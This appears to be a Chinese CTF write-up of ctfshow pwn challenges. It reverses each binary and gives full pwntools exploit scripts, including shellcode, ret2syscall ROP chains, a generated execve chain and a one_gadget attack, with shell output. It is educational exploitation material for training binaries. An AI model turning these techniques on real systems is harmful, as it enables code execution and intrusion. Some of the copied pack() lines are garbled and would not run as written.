.text:00000000004008EB                 mov     rbp, rsp
.text:00000000004008EE                 push    rbx
.text:00000000004008EF                 sub     rsp, 28h  ; 分配 0x28 字节栈空间
.text:00000000004008F3                 mov     [rbp+s], rdi  ; 保存输入字符串地址（参数 s）到栈上
.text:00000000004008F7                 mov     [rbp+var_14], 0  ; 初始化计数器 var_14=0（即 i=0，用于遍历字符串）
.text:00000000004008FE                 jmp     short loc_400933  ; 跳转到循环判断
.text:0000000000400900 ; ---------------------------------------------------------------------------
.text:0000000000400900
.text:0000000000400900 loc_400900:                             ; CODE XREF: is_printable+5E↓j
.text:0000000000400900                 mov     eax, [rbp+var_14] ; i
.text:0000000000400903                 movsxd  rdx, eax
.text:0000000000400906                 mov     rax, [rbp+s]
.text:000000000040090A                 add     rax, rdx ; rax = &s[i]
.text:000000000040090D                 movzx   eax, byte ptr [rax] ; eax = s[i]（字符值）
.text:0000000000400910                 cmp     al, 1Fh ; 比较 s[i] 与 0x1F（31，ASCII 控制字符上限）
.text:0000000000400912                 jle     short loc_400928  ; 若 s[i] <= 31（控制字符，不可打印），返回 0
.text:0000000000400914                 mov     eax, [rbp+var_14] ; 再次获取 i（可能因跳转重新加载）
.text:0000000000400917                 movsxd  rdx, eax
.text:000000000040091A                 mov     rax, [rbp+s]
.text:000000000040091E                 add     rax, rdx ; rax = &s[i]
.text:0000000000400921                 movzx   eax, byte ptr [rax] ; eax = s[i]
.text:0000000000400924                 cmp     al, 7Fh ; 比较 s[i] 与 0x7F（127，DEL 控制字符）
.text:0000000000400926                 jnz     short loc_40092F ; 若 s[i] != 127，继续检查下一个字符
.text:0000000000400928
.text:0000000000400928 loc_400928:                             ; CODE XREF: is_printable+28↑j
.text:0000000000400928                 mov     eax, 0 ; 返回 0（表示输入非法）
.text:000000000040092D                 jmp     short loc_40094F ; 退出函数
.text:000000000040092F ; ---------------------------------------------------------------------------
.text:000000000040092F
.text:000000000040092F loc_40092F:                             ; CODE XREF: is_printable+3C↑j
.text:000000000040092F                 add     [rbp+var_14], 1 ; i++，继续下一次循环
.text:0000000000400933
.text:0000000000400933 loc_400933:                             ; CODE XREF: is_printable+14↑j
.text:0000000000400933                 mov     eax, [rbp+var_14] ; 获取 i
.text:0000000000400936                 movsxd  rbx, eax ; 扩展为 64 位（rbx = i）
.text:0000000000400939                 mov     rax, [rbp+s] ; 获取字符串 s 的地址
.text:000000000040093D                 mov     rdi, rax        ; s
.text:0000000000400940                 call    _strlen ; 计算字符串长度（rax = strlen(s)）
.text:0000000000400945                 cmp     rbx, rax ; 比较 i 与字符串长度
.text:0000000000400948                 jb      short loc_400900 ; 若 i < 长度，进入循环体；否则循环结束
.text:000000000040094A                 mov     eax, 1
.text:000000000040094F
.text:000000000040094F loc_40094F:                             ; CODE XREF: is_printable+43↑j
.text:000000000040094F                 add     rsp, 28h
.text:0000000000400953                 pop     rbx
.text:0000000000400954                 pop     rbp
.text:0000000000400955                 retn
.text:0000000000400955 ; } // starts at 4008EA
.text:0000000000400955 is_printable    endp

signed __int64 __fastcall is_printable(const char *a1)
{
    int i; // [sp+1Ch] [bp-14h]@1

    for (i = 0; i < strlen(a1); ++i)
    {
        // 检查字符是否为不可打印字符（ASCII控制字符0-31或DEL字符127）
        if (a1[i] <= 0x1F /*31*/ || a1[i] == 0x7F /*127*/)
            return 0LL; // 存在非法字符，返回0
    }
    return 1LL; // 所有字符均为可打印字符，返回1
}

解一：

做过pwn66, 有strlen 的话可以找\x00开头的shellcode

可以在开头加上\x00 \xc0，用cat(“flag”)命令

from pwn import *
context(os='linux',arch="amd64",log_level="debug")
io = remote('pwn.chalenge.ctf.show',28120)
shellcode=b'\x00\xc0'
shellcode+=asm(shellcraft.cat('flag')) #生成读取flag文件shellcode
io.recvuntil(b"Welcome,tell me your name:")
io.sendline(shellcode)
io.interactive()

解二(ORW)：

用汇编的原因是read会把flag读取到栈顶,write要在栈顶上读取然后写入到输出,如果是用shellcraft无法操作到栈顶

from pwn import *
context(os='linux',arch='amd64')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28120)
shellcode = '''
#调用open()
push 0 
#绕过strlen()检查
mov r15, 0x67616c66  #将字符串'flag'的ASCII码放入r15寄存器
push r15             #将r15寄存器中的值推入栈顶，作为文件名参数
mov rdi, rsp         #将栈顶指针移入rdi寄存器，作为第一个参数（文件名）
mov rsi, 0           #将0移入rsi寄存器，作为第二个参数（只读模式）
mov rax, 2           #将系统调用号2（sys_open）移入rax寄存器
syscall              
#调用read()
mov r14, 3           #将文件描述符3移入r14寄存器（通常是标准输入）
mov rdi, r14         #将r14寄存器的值移入rdi寄存器，作为第一个参数（文件描述符）
mov rsi, rsp         #将栈顶指针移入rsi寄存器，作为第二个参数（缓冲区）
mov rdx, 0xff        #将0xff移入rdx寄存器，作为第三个参数（缓冲区大小）
mov rax, 0           #将系统调用号0（sys_read）移入rax寄存器
syscall
#调用write()
mov rdi,1            # 将1移入rdi寄存器，作为第一个参数（文件描述符，标准输出）
mov rsi, rsp         # 将栈顶指针移入rsi寄存器，作为第二个参数（缓冲区）
mov rdx, 0xff        # 将0xff移入rdx寄存器，作为第三个参数（要写入的字节数）
mov rax, 1           # 将系统调用号1（sys_write）移入rax寄存器
syscall
'''
payload = asm(shellcode)
io.sendline(payload)
io.interactive()

$ python3 exp.py
[+] Opening connection to pwn.challenge.ctf.show on port 28120: Done
[*] Switching to interactive mode
ctfshow{ba63d73f-2089-4a82-abf9-41f8e47b418d}
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
$

pwn71

Hint：32位的ret2syscall

checksec检查保护

$ chmod +x pwn
$ checksec pwn && file pwn
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX enabled
  PIE:        No PIE (0x8048000)
  Stripped:   No
  Debuginfo:  Yes
pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=2bff0285c2706a147e7b150493950de98f182b78, with debug_info, not stripped

32位关闭栈保护与PIE，同时能看出是静态编译

IDA查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("===============CTFshow--PWN===============");
  puts("Try to use ret2syscall!");
  gets(&v4);
  return 0;
}

题目描述以及各处都提示了让用ret2syscall来进行攻击，我们可以利用程序中的gadgets 来获得shell，而对应的 shell 获取则是利用系统调用。

简单地说，只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中，那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell

execve("/bin/sh",NULL,NULL)

其中，该程序是 32 位，所以我们需要使得

系统调用号，即 eax 应该为 0xb
第一个参数，即 ebx 应该指向 /bin/sh 的地址，其实执行 sh 的地址也可以。
第二个参数，即 ecx 应该为 0
第三个参数，即 edx 应该为 0

找一下控制eax,ebx的gadget：

$ ROPgadget --binary pwn --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

$ ROPgadget --binary pwn --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret

这里，可以选择：

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

这个可以直接控制其它三个寄存器。

此外，我们需要获得 /bin/sh 字符串对应的地址

$ ROPgadget --binary pwn --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh

$ ROPgadget --binary pwn --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80
0x080890b5 : int 0xcf

Unique gadgets found: 2

将其整合至一起即可完成我们的利用了：

payload = flat([b'A' * 112,pop_eax_ret,0xb,pop_edx_ecx_ebx_ret, 0, 0,binsh, int_0x80])
#同样的，这里也可以根据自己的个人习惯换一种写法：
payload = cyclic(112) + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(binsh) + p32(int_0x80)

偏移量ida不准,调试一下

$ gdb pwn
pwndbg> r
^c
pwndbg> cyclic 500
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae
pwndbg> c
Continuing.
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae
...
*EIP  0x64616162 ('daab')
...
pwndbg> cyclic -l daab
Finding cyclic pattern of 4 bytes: b'daab' (hex: 0x64616162)
Found at offset 112

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
pop_eax_ret=0x080bb196
pop_edx_ecx_ebx_ret=0x0806eb90
binsh=0x080be408
int_0x80=0x08049421
payload = flat([b'A' * 112,pop_eax_ret,0xb,pop_edx_ecx_ebx_ret, 0, 0,binsh, int_0x80])
io.sendline(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 350
[*] Switching to interactive mode
===============CTFshow--PWN===============
Try to use ret2syscall!
$ ls
ctfshow_flag

pwn72

Hint：接着练ret2syscall，多系统函数调用

checksec检查保护

$ chmod +x pwn
$ checksec pwn && file pwn
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX enabled
  PIE:        No PIE (0x8048000)
  Stripped:   No
pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=c06741f25faef9ff5996e7c0cbdad362f43ce572, not stripped

32位关闭栈保护与PIE,静态编译

32位IDA查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+10h] [ebp-20h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("CTFshow-PWN");
  puts("where is my system?");
  gets(&v4);
  puts("Emmm");
  return 0;
}

依据上一题的做法，发现程序中并没有了“/bin/sh”字符串：

$ ROPgadget --binary pwn --string '/bin/sh'
Strings information
============================================================

由于是静态编译，找一下程序中是否有read函数：

确实是有的。那么我们就得利用read函数来进行手动写入“/bin/sh”字符串。

构造payload可以使用read函数，在内存地址中读取之后用户输入的/bin/sh 先找到 eax，ebx，ecx，edx 以及 int 0x80 的地址

$ ROPgadget --binary pwn --only 'pop|ret' | grep 'eax'
0x080bb2c6 : pop eax ; ret

$ ROPgadget --binary pwn --only 'pop|ret' | grep 'ebx'
0x0806ecb0 : pop edx ; pop ecx ; pop ebx ; ret

$ ROPgadget --binary pwn --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80
#找到的这个 int 0x80 无法使用，因为没有 ret 无法执行后面的系统调用
$ ROPgadget --binary pwn --multibr --depth=3 | grep -A2 'int 0x80' | grep 'ret'
0x0806f350 : int 0x80 ; ret
#这个才对

#这个也可以
from pwn import *
elf = ELF('./pwn')
rop = ROP(elf)
# 搜索int 0x80; ret
int_ret = rop.find_gadget(['int 0x80', 'ret']).address
print(f"Found int 0x80; ret at 0x{int_ret:x}")

对eax，ebx，ecx，edx填充read函数的参数（在bss段找到一个有权限的地址，带入到ebx中）

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
     Start        End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
 0x8048000  0x80e9000 r-xp    a1000       0 pwn
 0x80e9000  0x80eb000 rw-p     2000   a0000 pwn
 0x80eb000  0x80ed000 rw-p     2000       0 [anon_080eb]
 0x90eb000  0x910d000 rw-p    22000       0 [heap]
0xf1d87000 0xf1d88000 rw-p     1000       0 [anon_f1d87]
0xf1d88000 0xf1d8c000 r--p     4000       0 [vvar]
0xf1d8c000 0xf1d8e000 r-xp     2000       0 [vdso]
0xffcfe000 0xffd1f000 rw-p    21000       0 [stack]

0x80eb000作为存储/bin/sh的位置

再次对eax,ebx,ecx,edx填充，这次使用execve函数，执行之前read函数读取的内容所在的地址内的值即”/bin/sh\x00”
执行payload，进行溢出，再次向程序中发送数据即“/bin/sh\x00”

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28183)
pop_eax = 0x080bb2c6
pop_edx_ecx_ebx = 0x0806ecb0
bss = 0x080eb000
int_0x80 = 0x0806F350
payload = b"a"*44

#调用read(0, bss, 0x10)
payload += p32(pop_eax)+p32(0x3)# 设置eax=3 (read系统调用号)
payload += p32(pop_edx_ecx_ebx)+p32(0x10)+p32(bss)+p32(0) # edx=0x10(读取长度,确保"/bin/sh\x00"字符串能完整存储,且有余量，满足内存对齐), ecx=bss(缓冲区地址), ebx=0(stdin)
payload += p32(int_0x80) # 执行int 0x80触发系统调用

#调用execve("/bin/sh", NULL, NULL)
payload += p32(pop_eax)+p32(0xb)# 设置eax=0xb (execve系统调用号)
payload += p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss)# edx=0(环境变量), ecx=0(参数数组), ebx=bss("/bin/sh"地址)
payload += p32(int_0x80)# 执行int 0x80触发系统调用

io.sendline(payload)
bin_sh = b"/bin/sh\x00"# 加 \x00 截断，不然会把换行符也当参数读进去了
io.sendline(bin_sh)#最终程序执行 /bin/sh，获得 shell
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 425
[*] Switching to interactive mode
CTFshow-PWN
where is my system?
Emmm
$ ls
ctfshow_flag

pwn73

Hint：愉快的尝试一下一把梭吧!

checksec检查保护

$ chmod +x pwn
$ checksec pwn && file pwn
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=4141b1e04d2e7f1623a4b8923f0f87779c0827ee, not stripped

32位开启NX，部分开启RELRO

拖进IDA发现特别多函数，file查看一下，确定是静态编译

IDA查看main函数，跟进漏洞函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int egid; // [esp+Ch] [ebp-Ch]

  setvbuf(stdout, 0, 2, 0);
  egid = getegid();
  setresgid(egid, egid, egid);
  show();
  return 0;
}
int show()
{
  _BYTE v1[24]; // [esp+0h] [ebp-18h] BYREF

  puts("Try to Show-hand!!");
  return gets(v1);
}

还是明显的栈溢出，但是由于是静态编译，我们无法再使用ret2libc来进行get shell

程序中也没有system函数，我们可以尝试直接使用ROPgadget来帮助我们构造一个ROP链：

$ ROPgadget --binary pwn --ropchain
ROP chain generation
===========================================================

- Step 1 -- Write-what-where gadgets

[+] Gadget found: 0x8051035 mov dword ptr [esi], edi ; pop ebx ; pop esi ; pop edi ; ret
[+] Gadget found: 0x8048433 pop esi ; ret
[+] Gadget found: 0x8048480 pop edi ; ret
[-] Can't find the 'xor edi, edi' gadget. Try with another 'mov [r], r'

[+] Gadget found: 0x80549db mov dword ptr [edx], eax ; ret
[+] Gadget found: 0x806f02a pop edx ; ret
[+] Gadget found: 0x80b81c6 pop eax ; ret
[+] Gadget found: 0x8049303 xor eax, eax ; ret

- Step 2 -- Init syscall number gadgets

[+] Gadget found: 0x8049303 xor eax, eax ; ret
[+] Gadget found: 0x807a86f inc eax ; ret

- Step 3 -- Init syscall arguments gadgets

[+] Gadget found: 0x80481c9 pop ebx ; ret
[+] Gadget found: 0x80de955 pop ecx ; ret
[+] Gadget found: 0x806f02a pop edx ; ret

- Step 4 -- Syscall gadget

[+] Gadget found: 0x806cc25 int 0x80

- Step 5 -- Build the ROP chain

#!/usr/bin/env python3
# execve generated by ROPgadget

from struct import pack

# Padding goes here
p = b''

p += pack('', 0x0806f02a) # pop edx ; ret
p += pack('', 0x080ea060) # @ .data
p += pack('', 0x080b81c6) # pop eax ; ret
p += b'/bin'
p += pack('', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('', 0x0806f02a) # pop edx ; ret
p += pack('', 0x080ea064) # @ .data + 4
p += pack('', 0x080b81c6) # pop eax ; ret
p += b'//sh'
p += pack('', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('', 0x0806f02a) # pop edx ; ret
p += pack('', 0x080ea068) # @ .data + 8
p += pack('', 0x08049303) # xor eax, eax ; ret
p += pack('', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('', 0x080481c9) # pop ebx ; ret
p += pack('', 0x080ea060) # @ .data
p += pack('', 0x080de955) # pop ecx ; ret
p += pack('', 0x080ea068) # @ .data + 8
p += pack('', 0x0806f02a) # pop edx ; ret
p += pack('', 0x080ea068) # @ .data + 8
p += pack('', 0x08049303) # xor eax, eax ; ret
p += pack('', 0x0807a86f) # inc eax ; ret
p += pack('', 0x0807a86f) # inc eax ; ret
p += pack('', 0x0807a86f) # inc eax ; ret
p += pack('', 0x0807a86f) # inc eax ; ret
p += pack('', 0x0807a86f) # inc eax ; ret
p += pack('', 0x0807a86f) # inc eax ; ret
p += pack('', 0x0807a86f) # inc eax ; ret
p += pack('', 0x0807a86f) # inc eax ; ret
p += pack('', 0x0807a86f) # inc eax ; ret
p += pack('', 0x0807a86f) # inc eax ; ret
p += pack('', 0x0807a86f) # inc eax ; ret
p += pack('', 0x0806cc25) # int 0x80

可以看到，它已经很智能的帮我们构造好了这些，我们仅仅需要将它构造好的payload提取出来，然后填充上偏移即可进行我们的攻击

当然在现处学习阶段，如果想学习更多可以自己一步步去了解他这样构造的原因，本题的目的是为了让大家学习这一种方法。

from pwn import *
from struct import pack
context.log_level = 'debug'
io = process("./pwn")
#io = remote("pwn.challenge.ctf.show", 28202)
# Padding goes here
p = cyclic(0x18+4)
p += pack(', 0x0806f02a) # pop edx ; ret
p += pack(', 0x080ea060) # @ .data
p += pack(', 0x080b81c6) # pop eax ; ret
p += b'/bin'
p += pack(', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack(', 0x0806f02a) # pop edx ; ret
p += pack(', 0x080ea064) # @ .data + 4
p += pack(', 0x080b81c6) # pop eax ; ret
p += b'//sh'
p += pack(', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack(', 0x0806f02a) # pop edx ; ret
p += pack(', 0x080ea068) # @ .data + 8
p += pack(', 0x08049303) # xor eax, eax ; re
p += pack(', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack(', 0x080481c9) # pop ebx ; ret
p += pack(', 0x080ea060) # @ .data
p += pack(', 0x080de955) # pop ecx ; ret
p += pack(', 0x080ea068) # @ .data + 8
p += pack(', 0x0806f02a) # pop edx ; ret
p += pack(', 0x080ea068) # @ .data + 8
p += pack(', 0x08049303) # xor eax, eax ; ret
p += pack(', 0x0807a86f) # inc eax ; ret
p += pack(', 0x0807a86f) # inc eax ; ret
p += pack(', 0x0807a86f) # inc eax ; ret
p += pack(', 0x0807a86f) # inc eax ; ret
p += pack(', 0x0807a86f) # inc eax ; ret
p += pack(', 0x0807a86f) # inc eax ; ret
p += pack(', 0x0807a86f) # inc eax ; ret
p += pack(', 0x0807a86f) # inc eax ; ret
p += pack(', 0x0807a86f) # inc eax ; ret
p += pack(', 0x0807a86f) # inc eax ; ret
p += pack(', 0x0807a86f) # inc eax ; ret
p += pack(', 0x0806cc25) # int 0x80
io.sendline(p)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 453
[*] Switching to interactive mode
Try to Show-hand!!
$ ls
ctfshow_flag

pwn74（libc6_2.27-3ubuntu1.6（1.5也可以）_amd64或者ubuntu18.04本地的可以打通）

Hint：噢？好像到现在为止还没有了解到one_gadget?

checksec检查保护

$ chmod +x pwn
$ checksec pwn &&  file pwn
  Arch:       amd64-64-little
  RELRO:      Full RELRO
  Stack:      Canary found
  NX:         NX enabled
  PIE:        PIE enabled
  Stripped:   No
pwn: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=55cc5de7877c75cdd2e929f458e0d174fc7628d7, not stripped

64位保护全开，相对于现阶段，看到这种保护全开的题可能会有点迷茫，但是实际上在堆阶段后面基本上都是保护全开的题比较多一点，这里也是为了让大家提前了解一些攻击手法。

IDA查看main函数：

int __fastcall main(int argc, const char **argv, const char **envp)
{
  _QWORD v4[3]; // [rsp+8h] [rbp-18h] BYREF

  v4[2] = __readfsqword(0x28u);
  init(argc, argv, envp);
  puts(s);
  puts(asc_A80);
  puts(asc_B00);
  puts(asc_B90);
  puts(asc_C20);
  puts(asc_CA8);
  puts(asc_D40);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : PWN_Tricks                                              ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : Use one_gadget a shuttle!                               ");
  puts("    * *************************************                           ");
  printf("What's this:%p ?\n", &printf);
  __isoc99_scanf("%ld", v4);
  v4[1] = v4[0];
  ((void (*)(void))v4[0])();
  return 0;
}

可以看到，这里程序输出了printf函数的地址，然后通过 __isoc99_scanf 函数从用户输入中读取一个长整数，并将其存储在 v4 数组的第一个元素中。

再将 v4 数组的第一个元素的值赋给了数组的第二个元素。继续通过函数指针调用了 v4数组的第一个元素所指向的函数。这个部分利用函数指针的特性，将其转换为函数并进行调用。从伪代码中我们能得到这些。

使用用户输入来获取函数指针，并通过函数指针调用相应的函数。需要注意的是，这种通过用户输入来获取函数指针并调用函数的做法极有可能会带来安全隐患，因为恶意用户可以输入不安全的函数指针，导致程序出现问题。

至此，大家可能对攻击手段还是并不了解，那么我们继续了解攻击手法（one_gadget）one_gadget是libc中存在的一些执行execve(“/bin/sh”, NULL, NULL)的片段，当可以泄露libc地址，并且可以知道libc版本的时候，可以使用此方法来快速控制指令寄存器开启shell。

相比于system(“/bin/sh”)，这种方式更加方便，不用控制RDI、RSI、RDX等参数。运用于不利构造参数的情况。

安装方式：

$ sudo apt -y install ruby
$ sudo gem install one_gadget

使用方法：

$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4f29e execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv

0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, rax, r12, NULL} is a valid argv

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv

one_gadget并不总是可以获取shell，它首先要满足一些条件才能执行成功,后面提示就是在调用one_gadget前需要满足的条件。

本题仅仅是一个工具引进使用，具体可以自行调试一下便知。省了很大一部分时间和精力，对于初学者来说，libc版本是个坑。因此在训练题型上平台一般弄了几个比较相对固定的libc版本，实际比赛时libc的版本更加多样复杂。

当然，在这里如果不是使用的附带虚拟机，则需要自行去泄漏libc，当然前面经过这么多题的练习，相信这些也是没难度了。

#本地
from pwn import *
io=process('./pwn')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget=0x10a2fc
printf_libc=libc.symbols['printf']
io.recvuntil(b'this:')
print(hex(printf_libc))
printf = int(io.recv(14),16)
libc_base = printf-printf_libc #基地址 = 泄露地址 - 函数在libc中的偏移
io.sendline(str(one_gadget+libc_base).encode())
io.recv()
io.interactive()
#远程
from pwn import *
from LibcSearcher import LibcSearcher  
io = remote('pwn.challenge.ctf.show',28313)
io.recvuntil(b'this:')
printf_addr = int(io.recv(14), 16) 
print(f"泄露的printf地址: {hex(printf_addr)}")
libc = LibcSearcher("printf", printf_addr)
libc_base = printf_addr - libc.dump("printf")  
one_gadget = libc_base + 0x10a2fc  
print(f"libc基地址: {hex(libc_base)}")
print(f"one_gadget地址: {hex(one_gadget)}")
io.sendline(str(one_gadget).encode())
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 209
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
0x64e40
[*] Switching to interactive mode
$ ls
ctfshow_flag

pwn75（栈迁移）

Hint：栈空间不够怎么办？

checksec检查保护

$ chmod +x pwn
$ checksec pwn
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

32位开启NX保护，部分开启RELRO

简单运行程序发现有两次输入点：

$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Stack_Overflow
    * Site  : https://ctf.show/
    * Hint  : Not enough stack space?
    * *************************************
Old friends have not seen each other for a long time!
To confirm your identity, please enter your codename:
rhea
Welcome, rhea

What do you want to do?
cat flag
Nothing here ,cat flag

并且在输入后会输出自己输入的东西，第一次是输出Welcome，+第一次输入第二次Nothing here,+第二次输入

具体啥情况还是拖进IDA进行分析,IDA查看main函数，直接跟进漏洞函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init(&argc);
  logo();
  puts("Old friends have not seen each other for a long time!");
  puts("To confirm your identity, please enter your codename:");
  ctfshow();
  return 0;
}

int ctfshow()
{
  _BYTE s[36]; // [esp+0h] [ebp-28h] BYREF

  memset(s, 0, 0x20u);
  read(0, s, 0x30u);
  printf("Welcome, %s\n", s);
  puts("What do you want to do?");
  read(0, s, 0x30u);
  return printf("Nothing here ,%s\n", s);
}

可以看到，仍旧是熟悉的栈溢出漏洞，但是能溢出的字节数非常有限，s距ebp 0x28,可以读入0x30，溢出的字节仅有8字节,无法进行我们的ROP链构造，那么这里就应该要想到栈迁移了

同时注意到题目存在system函数，但是并不会得到我们想要的：

int hackerout()
{
  return system("echo hacker_get_out!");
}

程序最后使用的也是leave 和 retn来还原现场的：

.text:080486D9 ; int ctfshow()
.text:080486D9                 public ctfshow
.text:080486D9 ctfshow         proc near               ; CODE XREF: main+48↓p
.text:080486D9
.text:080486D9 s               = byte ptr -28h
.text:080486D9 var_4           = dword ptr -4
.text:080486D9
.text:080486D9 ; __unwind {
.text:080486D9                 push    ebp
.text:080486DA                 mov     ebp, esp
.text:080486DC                 push    ebx
.text:080486DD                 sub     esp, 24h
.text:080486E0                 call    __x86_get_pc_thunk_bx
.text:080486E5                 add     ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:080486EB                 sub     esp, 4
.text:080486EE                 push    20h ; ' '       ; n
